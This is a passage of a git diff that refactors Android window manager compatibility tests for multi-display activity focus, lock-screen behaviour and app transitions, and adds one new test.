+ mAmWmState.assertFocusedActivity("Virtual display activity must be on top",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityStack frontStack = mAmWmState.getAmState().getStackById(
+ defaultDisplayStackId);
+ assertEquals("Top stack must remain on primary display",
+ DEFAULT_DISPLAY, frontStack.mDisplayId);
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Top activity must be on secondary display");
- mAmWmState.assertResumedActivities("Both displays must have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY);
- put(newDisplay.mId, TEST_ACTIVITY);
- }}
- );
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Top activity must be on secondary display");
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY),
+ pair(newDisplay.mId, TEST_ACTIVITY));
- // Move activity from secondary display to primary.
- moveActivityToStack(TEST_ACTIVITY, defaultDisplayStackId);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
- "Moved activity must be on top");
- }
+ // Move activity from secondary display to primary.
+ moveActivityToStack(TEST_ACTIVITY, defaultDisplayStackId);
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Moved activity must be on top");
}
/**
@@ -441,7 +400,7 @@
* This version launches virtual display creator to fullscreen stack in split-screen.
*/
@Test
- public void testStackFocusSwitchOnDisplayRemoved() throws Exception {
+ public void testStackFocusSwitchOnDisplayRemoved() {
assumeTrue(supportsSplitScreenMultiWindow());
// Start launching activity into docked stack.
@@ -460,7 +419,7 @@
* This version launches virtual display creator to docked stack in split-screen.
*/
@Test
- public void testStackFocusSwitchOnDisplayRemoved2() throws Exception {
+ public void testStackFocusSwitchOnDisplayRemoved2() {
assumeTrue(supportsSplitScreenMultiWindow());
// Setup split-screen.
@@ -479,7 +438,7 @@
* This version works without split-screen.
*/
@Test
- public void testStackFocusSwitchOnDisplayRemoved3() throws Exception {
+ public void testStackFocusSwitchOnDisplayRemoved3() {
// Start an activity on default display to determine default stack.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
final int focusedStackWindowingMode = mAmWmState.getAmState().getFrontStackWindowingMode(
@@ -495,25 +454,21 @@
* Create a virtual display, launch a test activity there, destroy the display and check if test
* activity is moved to a stack on the default display.
*/
- private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int windowingMode)
- throws Exception {
+ private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int windowingMode) {
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
// Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession
+ final DisplayContent newDisplay = virtualDisplaySession
.setPublicDisplay(true)
.setLaunchInSplitScreen(splitScreen)
.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
if (splitScreen) {
mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
}
// Launch activity on new secondary display.
launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, newDisplay.mId,
- "Top activity must be on secondary display");
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
- mAmWmState.assertFocusedStack("Top stack must be on secondary display", frontStackId);
+ waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Test activity must be on secondary display");
separateTestJournal();
// Destroy virtual display.
@@ -543,11 +498,9 @@
* is moved correctly.
*/
@Test
- public void testStackFocusSwitchOnStackEmptiedInSleeping() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
- final LockScreenSession lockScreenSession = new LockScreenSession()) {
- validateStackFocusSwitchOnStackEmptied(virtualDisplaySession, lockScreenSession);
- }
+ public void testStackFocusSwitchOnStackEmptiedInSleeping() {
+ validateStackFocusSwitchOnStackEmptied(createManagedVirtualDisplaySession(),
+ createManagedLockScreenSession());
}
/**
@@ -555,24 +508,21 @@
* is moved correctly.
*/
@Test
- public void testStackFocusSwitchOnStackEmptied() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- validateStackFocusSwitchOnStackEmptied(virtualDisplaySession,
- null /* lockScreenSession */);
- }
+ public void testStackFocusSwitchOnStackEmptied() {
+ validateStackFocusSwitchOnStackEmptied(createManagedVirtualDisplaySession(),
+ null /* lockScreenSession */);
}
private void validateStackFocusSwitchOnStackEmptied(VirtualDisplaySession virtualDisplaySession,
- LockScreenSession lockScreenSession) throws Exception {
+ LockScreenSession lockScreenSession) {
// Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ final DisplayContent newDisplay = virtualDisplaySession.createDisplay();
mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY);
// Launch activity on new secondary display.
launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
- "Top activity must be on secondary display");
+ waitAndAssertActivityStateOnDisplay(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED,
+ newDisplay.mId,"Top activity must be on secondary display");
if (lockScreenSession != null) {
// Lock the device, so that activity containers will be detached.
@@ -595,37 +545,34 @@
* Tests that input events on the primary display take focus from the virtual display.
*/
@Test
- public void testStackFocusSwitchOnTouchEvent() throws Exception {
+ public void testStackFocusSwitchOnTouchEvent() {
// If config_perDisplayFocusEnabled, the focus will not move even if touching on
// the Activity in the different display.
assumeFalse(perDisplayFocusEnabled());
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
- mAmWmState.computeState(VIRTUAL_DISPLAY_ACTIVITY);
- mAmWmState.assertFocusedActivity("Top activity must be the latest launched one",
- VIRTUAL_DISPLAY_ACTIVITY);
+ mAmWmState.computeState(VIRTUAL_DISPLAY_ACTIVITY);
+ mAmWmState.assertFocusedActivity("Top activity must be the latest launched one",
+ VIRTUAL_DISPLAY_ACTIVITY);
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be on top");
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity launched on secondary display must be resumed");
- tapOnDisplayCenter(DEFAULT_DISPLAY);
+ tapOnDisplayCenter(DEFAULT_DISPLAY);
- waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, DEFAULT_DISPLAY,
- "Top activity must be on the primary display");
- mAmWmState.assertResumedActivities("Both displays must have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY);
- put(newDisplay.mId, TEST_ACTIVITY);
- }}
- );
- mAmWmState.assertFocusedAppOnDisplay("App on secondary display must still be focused",
- TEST_ACTIVITY, newDisplay.mId);
- }
+ waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, DEFAULT_DISPLAY,
+ "Top activity must be on the primary display");
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY),
+ pair(newDisplay.mId, TEST_ACTIVITY));
+
+ tapOnDisplayCenter(newDisplay.mId);
+ mAmWmState.waitForValidState(TEST_ACTIVITY);
+ mAmWmState.assertFocusedAppOnDisplay("App on secondary display must be focused",
+ TEST_ACTIVITY, newDisplay.mId);
}
@@ -634,7 +581,7 @@
* activity on the primary display.
*/
@Test
- public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
+ public void testStackFocusSwitchOnTouchEventAfterKeyguard() {
assumeFalse(perDisplayFocusEnabled());
// Launch something on the primary display so we know there is a resumed activity there
@@ -642,136 +589,118 @@
waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
"Activity launched on primary display must be resumed");
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- lockScreenSession.sleepDevice();
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.sleepDevice();
- // Make sure there is no resumed activity when the primary display is off
- waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
- "Activity launched on primary display must be stopped after turning off");
- assertEquals("Unexpected resumed activity",
- 0, mAmWmState.getAmState().getResumedActivitiesCount());
+ // Make sure there is no resumed activity when the primary display is off
+ waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mAmWmState.getAmState().getResumedActivitiesCount());
- final ActivityDisplay newDisplay = externalDisplaySession
- .setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- // Unlock the device and tap on the middle of the primary display
- lockScreenSession.wakeUpDevice();
- executeShellCommand("wm dismiss-keyguard");
- mAmWmState.waitForKeyguardGone();
- mAmWmState.waitForValidState(RESIZEABLE_ACTIVITY, TEST_ACTIVITY);
+ // Unlock the device and tap on the middle of the primary display
+ lockScreenSession.wakeUpDevice();
+ executeShellCommand("wm dismiss-keyguard");
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.waitForValidState(RESIZEABLE_ACTIVITY, TEST_ACTIVITY);
- // Check that the test activity is resumed on the external display and is on top
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity on external display must be resumed and on top");
- mAmWmState.assertResumedActivities("Both displays should have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, RESIZEABLE_ACTIVITY);
- put(newDisplay.mId, TEST_ACTIVITY);
- }}
- );
+ // Check that the test activity is resumed on the external display and is on top
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity on external display must be resumed");
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, RESIZEABLE_ACTIVITY),
+ pair(newDisplay.mId, TEST_ACTIVITY));
- tapOnDisplayCenter(DEFAULT_DISPLAY);
+ tapOnDisplayCenter(DEFAULT_DISPLAY);
- // Check that the activity on the primary display is the topmost resumed
- waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
- "Activity on primary display must be resumed and on top");
- mAmWmState.assertResumedActivities("Both displays should have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, RESIZEABLE_ACTIVITY);
- put(newDisplay.mId, TEST_ACTIVITY);
- }}
- );
- mAmWmState.assertFocusedAppOnDisplay("App on external display must still be focused",
- TEST_ACTIVITY, newDisplay.mId);
- }
+ // Check that the activity on the primary display is the topmost resumed
+ waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity on primary display must be resumed and on top");
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, RESIZEABLE_ACTIVITY),
+ pair(newDisplay.mId, TEST_ACTIVITY));
}
/**
* Tests that showWhenLocked works on a secondary display.
*/
@Test
- public void testSecondaryDisplayShowWhenLocked() throws Exception {
+ public void testSecondaryDisplayShowWhenLocked() {
assumeTrue(supportsSecureLock());
- try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession();
- final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential();
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
- launchActivity(TEST_ACTIVITY);
+ launchActivity(TEST_ACTIVITY);
- final ActivityDisplay newDisplay = externalDisplaySession.createVirtualDisplay();
- launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, newDisplay.mId);
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .createVirtualDisplay();
+ launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, newDisplay.mId);
- lockScreenSession.gotoKeyguard();
+ lockScreenSession.gotoKeyguard();
- waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED,
- "Expected stopped activity on default display");
- waitAndAssertTopResumedActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, newDisplay.mId,
- "Expected resumed activity on secondary display");
- }
+ waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED,
+ "Expected stopped activity on default display");
+ waitAndAssertActivityStateOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, STATE_RESUMED,
+ newDisplay.mId, "Expected resumed activity on secondary display");
}
/**
* Tests tap and set focus between displays.
*/
@Test
- public void testSecondaryDisplayFocus() throws Exception {
+ public void testSecondaryDisplayFocus() {
assumeFalse(perDisplayFocusEnabled());
- try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- launchActivity(TEST_ACTIVITY);
- mAmWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+ launchActivity(TEST_ACTIVITY);
+ mAmWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
- final ActivityDisplay newDisplay = externalDisplaySession.createVirtualDisplay();
- launchActivityOnDisplay(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId,
- "Virtual activity should be Top Resumed Activity.");
- mAmWmState.assertFocusedAppOnDisplay("Activity on second display must be focused.",
- VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId);
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
+ launchActivityOnDisplay(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId);
+ waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId,
+ "Virtual activity should be Top Resumed Activity.");
+ mAmWmState.assertFocusedAppOnDisplay("Activity on second display must be focused.",
+ VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId);
- tapOnDisplayCenter(DEFAULT_DISPLAY);
+ tapOnDisplayCenter(DEFAULT_DISPLAY);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
- "Activity should be top resumed when tapped.");
- mAmWmState.assertFocusedActivity("Activity on default display must be top focused.",
- TEST_ACTIVITY);
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity should be top resumed when tapped.");
+ mAmWmState.assertFocusedActivity("Activity on default display must be top focused.",
+ TEST_ACTIVITY);
- tapOnDisplayCenter(newDisplay.mId);
+ tapOnDisplayCenter(newDisplay.mId);
- waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId,
- "Virtual display activity should be top resumed when tapped.");
- mAmWmState.assertFocusedActivity("Activity on second display must be top focused.",
- VIRTUAL_DISPLAY_ACTIVITY);
- mAmWmState.assertFocusedAppOnDisplay(
- "Activity on default display must be still focused.",
- TEST_ACTIVITY, DEFAULT_DISPLAY);
- }
+ waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId,
+ "Virtual display activity should be top resumed when tapped.");
+ mAmWmState.assertFocusedActivity("Activity on second display must be top focused.",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ mAmWmState.assertFocusedAppOnDisplay(
+ "Activity on default display must be still focused.",
+ TEST_ACTIVITY, DEFAULT_DISPLAY);
}
/**
* Tests that toast works on a secondary display.
*/
@Test
- @FlakyTest(bugId = 131005232)
- public void testSecondaryDisplayShowToast() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay =
- virtualDisplaySession.setPublicDisplay(true).createDisplay();
- final String TOAST_NAME = "Toast";
- launchActivityOnDisplay(TOAST_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(TOAST_ACTIVITY, newDisplay.mId,
- "Activity launched on external display must be resumed");
- mAmWmState.waitForWithWmState((state) -> state.containsWindow(TOAST_NAME),
- "Waiting for toast window to show");
+ public void testSecondaryDisplayShowToast() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
+ final String TOAST_NAME = "Toast";
+ launchActivityOnDisplay(TOAST_ACTIVITY, newDisplay.mId);
+ waitAndAssertActivityStateOnDisplay(TOAST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity launched on external display must be resumed");
- assertTrue("Toast window must be shown",
- mAmWmState.getWmState().containsWindow(TOAST_NAME));
- assertTrue("Toast window must be visible",
- mAmWmState.getWmState().isWindowVisible(TOAST_NAME));
- }
+ assertTrue("Toast window must be shown", mAmWmState.waitForWithWmState(
+ state -> state.containsWindow(TOAST_NAME), "toast window to show"));
+ assertTrue("Toast window must be visible",
+ mAmWmState.getWmState().isWindowVisible(TOAST_NAME));
}
/**
@@ -779,14 +708,14 @@
* Also check that the surface size has updated after reparenting to other display.
*/
@Test
- public void testTaskSurfaceSizeAfterReparentDisplay() throws Exception {
+ public void testTaskSurfaceSizeAfterReparentDisplay() {
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
// Create new simulated display and launch an activity on it.
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
+ final DisplayContent newDisplay = virtualDisplaySession.setSimulateDisplay(true)
.createDisplay();
launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
"Top activity must be the newly launched one");
assertTopTaskSameSurfaceSizeWithDisplay(newDisplay.mId);
@@ -816,105 +745,122 @@
}
@Test
- public void testAppTransitionForActivityOnDifferentDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
- final TestActivitySession<StandardActivity> transitionActivitySession = new
- TestActivitySession<>()) {
- // Create new simulated display.
- final ActivityDisplay newDisplay = virtualDisplaySession
- .setSimulateDisplay(true).createDisplay();
+ public void testAppTransitionForActivityOnDifferentDisplay() {
+ final TestActivitySession<StandardActivity> transitionActivitySession =
+ createManagedTestActivitySession();
+ // Create new simulated display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- // Launch BottomActivity on top of launcher activity to prevent transition state
- // affected by wallpaper theme.
- launchActivityOnDisplay(BOTTOM_ACTIVITY, DEFAULT_DISPLAY);
- waitAndAssertTopResumedActivity(BOTTOM_ACTIVITY, DEFAULT_DISPLAY,
- "Activity must be resumed");
+ // Launch BottomActivity on top of launcher activity to prevent transition state
+ // affected by wallpaper theme.
+ launchActivityOnDisplay(BOTTOM_ACTIVITY, DEFAULT_DISPLAY);
+ waitAndAssertTopResumedActivity(BOTTOM_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity must be resumed");
- // Launch StandardActivity on default display, verify last transition if is correct.
- transitionActivitySession.launchTestActivityOnDisplaySync(StandardActivity.class,
- DEFAULT_DISPLAY);
- mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
- mAmWmState.assertSanity();
- assertEquals(TRANSIT_TASK_OPEN,
- mAmWmState.getWmState().getDisplay(DEFAULT_DISPLAY).getLastTransition());
+ // Launch StandardActivity on default display, verify last transition if is correct.
+ transitionActivitySession.launchTestActivityOnDisplaySync(StandardActivity.class,
+ DEFAULT_DISPLAY);
+ mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+ mAmWmState.assertSanity();
+ assertEquals(TRANSIT_TASK_OPEN,
+ mAmWmState.getWmState().getDisplay(DEFAULT_DISPLAY).getLastTransition());
- // Finish current activity & launch another TestActivity in virtual display in parallel.
- transitionActivitySession.finishCurrentActivityNoWait();
- launchActivityOnDisplayNoWait(TEST_ACTIVITY, newDisplay.mId);
- mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
- mAmWmState.waitForAppTransitionIdleOnDisplay(newDisplay.mId);
- mAmWmState.assertSanity();
+ // Finish current activity & launch another TestActivity in virtual display in parallel.
+ transitionActivitySession.finishCurrentActivityNoWait();
+ launchActivityOnDisplayNoWait(TEST_ACTIVITY, newDisplay.mId);
+ mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+ mAmWmState.waitForAppTransitionIdleOnDisplay(newDisplay.mId);
+ mAmWmState.assertSanity();
- // Verify each display's last transition if is correct as expected.
- assertEquals(TRANSIT_TASK_CLOSE,
- mAmWmState.getWmState().getDisplay(DEFAULT_DISPLAY).getLastTransition());
- assertEquals(TRANSIT_TASK_OPEN,
- mAmWmState.getWmState().getDisplay(newDisplay.mId).getLastTransition());
- }
+ // Verify each display's last transition if is correct as expected.
+ assertEquals(TRANSIT_TASK_CLOSE,
+ mAmWmState.getWmState().getDisplay(DEFAULT_DISPLAY).getLastTransition());
+ assertEquals(TRANSIT_TASK_OPEN,
+ mAmWmState.getWmState().getDisplay(newDisplay.mId).getLastTransition());
}
@Test
public void testNoTransitionWhenMovingActivityToDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display & capture new display's transition state.
- final ActivityDisplay newDisplay = virtualDisplaySession
- .setSimulateDisplay(true).createDisplay();
+ // Create new simulated display & capture new display's transition state.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- // Launch TestActivity in virtual display & capture its transition state.
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- mAmWmState.waitForAppTransitionIdleOnDisplay(newDisplay.mId);
- mAmWmState.assertSanity();
- final String lastTranstionOnVirtualDisplay = mAmWmState.getWmState()
- .getDisplay(newDisplay.mId).getLastTransition();
+ // Launch TestActivity in virtual display & capture its transition state.
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ mAmWmState.waitForAppTransitionIdleOnDisplay(newDisplay.mId);
+ mAmWmState.assertSanity();
+ final String lastTranstionOnVirtualDisplay = mAmWmState.getWmState()
+ .getDisplay(newDisplay.mId).getLastTransition();
- // Move TestActivity from virtual display to default display.
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
- .allowMultipleInstances(false).setNewTask(true)
- .setDisplayId(DEFAULT_DISPLAY).execute();
+ // Move TestActivity from virtual display to default display.
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+ .allowMultipleInstances(false).setNewTask(true)
+ .setDisplayId(DEFAULT_DISPLAY).execute();
- // Verify TestActivity moved to virtual display.
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
- "Existing task must be brought to front");
+ // Verify TestActivity moved to virtual display.
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Existing task must be brought to front");
- // Make sure last transition will not change when task move to another display.
- assertEquals(lastTranstionOnVirtualDisplay,
- mAmWmState.getWmState().getDisplay(newDisplay.mId).getLastTransition());
- }
+ // Make sure last transition will not change when task move to another display.
+ assertEquals(lastTranstionOnVirtualDisplay,
+ mAmWmState.getWmState().getDisplay(newDisplay.mId).getLastTransition());
}
@Test
- public void testPreQTopProcessResumedActivity() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay =
- virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+ public void testPreQTopProcessResumedActivity() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- getLaunchActivityBuilder().setUseInstrumentation()
- .setTargetActivity(SDK_27_TEST_ACTIVITY).setNewTask(true)
- .setDisplayId(newDisplay.mId).execute();
- waitAndAssertTopResumedActivity(SDK_27_TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be resumed and focused");
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(SDK_27_TEST_ACTIVITY).setNewTask(true)
+ .setDisplayId(newDisplay.mId).execute();
+ waitAndAssertTopResumedActivity(SDK_27_TEST_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be resumed and focused");
- getLaunchActivityBuilder().setUseInstrumentation()
- .setTargetActivity(SDK_27_LAUNCHING_ACTIVITY).setNewTask(true)
- .setDisplayId(DEFAULT_DISPLAY).execute();
- waitAndAssertTopResumedActivity(SDK_27_LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
- "Activity launched on default display must be resumed and focused");
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(SDK_27_LAUNCHING_ACTIVITY).setNewTask(true)
+ .setDisplayId(DEFAULT_DISPLAY).execute();
+ waitAndAssertTopResumedActivity(SDK_27_LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity launched on default display must be resumed and focused");
- assertEquals("There must be only one resumed activity in the package.", 1,
- mAmWmState.getAmState().getResumedActivitiesCountInPackage(
- SDK_27_LAUNCHING_ACTIVITY.getPackageName()));
+ assertEquals("There must be only one resumed activity in the package.", 1,
+ mAmWmState.getAmState().getResumedActivitiesCountInPackage(
+ SDK_27_LAUNCHING_ACTIVITY.getPackageName()));
- getLaunchActivityBuilder().setUseInstrumentation()
- .setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true)
- .setDisplayId(DEFAULT_DISPLAY).execute();
- waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY,
- "Activity launched on default display must be resumed and focused");
- assertTrue("Activity that was on secondary display must be resumed",
- mAmWmState.getAmState().hasActivityState(SDK_27_TEST_ACTIVITY, STATE_RESUMED));
- assertEquals("There must be only two resumed activities in the package.", 2,
- mAmWmState.getAmState().getResumedActivitiesCountInPackage(
- SDK_27_TEST_ACTIVITY.getPackageName()));
- }
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true)
+ .setDisplayId(DEFAULT_DISPLAY).execute();
+ waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity launched on default display must be resumed and focused");
+ assertTrue("Activity that was on secondary display must be resumed",
+ mAmWmState.getAmState().hasActivityState(SDK_27_TEST_ACTIVITY, STATE_RESUMED));
+ assertEquals("There must be only two resumed activities in the package.", 2,
+ mAmWmState.getAmState().getResumedActivitiesCountInPackage(
+ SDK_27_TEST_ACTIVITY.getPackageName()));
}
+ @Test
+ public void testPreQTopProcessResumedDisplayMoved() throws Exception {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(SDK_27_LAUNCHING_ACTIVITY).setNewTask(true)
+ .setDisplayId(DEFAULT_DISPLAY).execute();
+ waitAndAssertTopResumedActivity(SDK_27_LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity launched on default display must be resumed and focused");
+
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(SDK_27_TEST_ACTIVITY).setNewTask(true)
+ .setDisplayId(newDisplay.mId).execute();
+ waitAndAssertTopResumedActivity(SDK_27_TEST_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be resumed and focused");
+
+ tapOnDisplayCenter(DEFAULT_DISPLAY);
+ waitAndAssertTopResumedActivity(SDK_27_LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity launched on default display must be resumed and focused");
+ assertEquals("There must be only one resumed activity in the package.", 1,
+ mAmWmState.getAmState().getResumedActivitiesCountInPackage(
+ SDK_27_LAUNCHING_ACTIVITY.getPackageName()));
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPrivateDisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPrivateDisplayTests.java
new file mode 100644
index 0000000..93b1efa
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPrivateDisplayTests.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
